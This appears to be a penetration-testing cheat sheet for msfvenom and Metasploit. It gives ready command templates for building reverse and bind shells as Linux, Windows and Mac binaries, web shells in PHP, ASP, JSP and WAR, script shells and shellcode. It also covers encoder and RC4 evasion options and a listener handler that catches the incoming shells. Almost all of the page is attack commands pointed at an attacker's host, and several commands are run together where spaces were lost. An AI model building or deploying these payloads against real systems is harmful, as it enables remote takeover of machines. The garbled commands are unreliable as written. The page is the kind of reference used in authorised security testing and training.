Msfvenom

Show all payloads

msfvenom -l payloads

Show all payload formats

msfvenom -l formats

Generate a payload

msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output payload file name>

Common payloads

meterpreter

linux/x86/meterpreter/reverse_tcp

linux x86 reverse shell

linux/x64/meterpreter/reverse_tcp

linux x64 reverse shell

windows/meterpreter/reverse_tcp

windows x86 reverse shell

windows/x64/meterpreter/reverse_tcp

windows x64 reverse shell

Staged

linux/x86/shell/bind_tcp

linux x86 bind shell

linux/x86/shell/reverse_tcp

linux x86 reverse shell

windows/shell/bind_tcp

windows x86 bind shell

windows/shell/reverse_tcp

windows x86 reverse shell

Nonstaged

linux/x86/shell_bind_tcp

linux x86 bind shell

linux/x86/shell_reverse_tcp

linux x86 reverse shell

windows/shell_bind_tcp

windows x86 bind shell

windows/shell_reverse_tcp

windows x86 reverse shell

msfvenom -p windows/shell/reverse_tcp -e x86/shikata_ga_nai -i LHOST=<att_ip> LPORT=5555 -f exe >xcmd.exe

msfvenom -p windows/shell_reverse_tcp -e rc4 -encrypt-key BlueSky LHOST=<att_ip> LPORT=5555 -f exe > zcmd.exe

https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf

Creating Metasploit Payloads

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -plinux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-felf >shell.elf

Windows

msfvenom -pwindows/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fexe >shell.exe

Mac

msfvenom -posx/x86/shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fmacho >shell.macho

Web Payloads

PHP

msfvenom -pphp/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fraw >shell.php catshell.php |pbcopy &&echo'<?php '|tr-d'\n'>shell.php &&pbpaste >>shell.php

ASP

msfvenom -pwindows/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fasp >shell.asp

JSP

msfvenom -pjava/jsp_shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fraw >shell.jsp

WAR

msfvenom -pjava/jsp_shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fwar >shell.war

Scripting Payloads

Python

msfvenom -pcmd/unix/reverse_python LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fraw >shell.py

Bash

msfvenom -pcmd/unix/reverse_bash LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fraw >shell.sh

Perl

msfvenom -pcmd/unix/reverse_perl LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-fraw >shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -plinux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f<language>

Windows Based Shellcode

msfvenom -pwindows/meterpreter/reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f<language>

Mac Based Shellcode

msfvenom -posx/x86/shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f<language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler setPAYLOAD <Payload name>setLHOST <LHOST value>setLPORT <LPORT value>setExitOnSession falseexploit -j-z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

Last updated